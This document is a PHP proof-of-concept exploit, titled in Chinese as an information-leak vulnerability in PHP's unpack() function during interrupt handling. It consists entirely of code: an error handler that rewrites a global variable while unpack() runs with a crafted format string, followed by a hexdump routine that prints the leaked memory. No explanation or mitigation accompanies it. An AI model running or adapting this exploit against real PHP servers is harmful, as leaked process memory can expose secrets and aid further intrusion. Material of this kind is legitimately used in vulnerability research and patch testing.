PHP unpack()函数中断处理信息泄露漏洞

<?php function my_error() { parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']); return 1; } /* Detect 32 vs 64 bit */ $i = 0x7fffffff; $i++; if (is_float($i)) { $l = 39; } else { $l = 67; } $GLOBALS['var'] = str_repeat("A", $l); /* Trigger the Code */ set_error_handler("my_error"); $x = unpack("@31337/@0/A$l", &$GLOBALS['var']); restore_error_handler(); hexdump($x[1]); /* Helper function */ function hexdump($x) { $l = strlen($x); $p = 0; echo "Hexdump\n"; echo "-------\n"; while ($l > 16) { echo sprintf("%08x: ",$p); for ($i=0; $i<16; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } echo " "; for ($i=0; $i<16; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } $l-=16; $p+=16; echo "\n"; } if ($l > 0) echo sprintf("%08x: ",$p); for ($i=0; $i<$l; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } for ($i=0; $i<16-$l; $i++) { echo "-- "; } echo " "; for ($i=0; $i<$l; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } echo "\n"; } ?>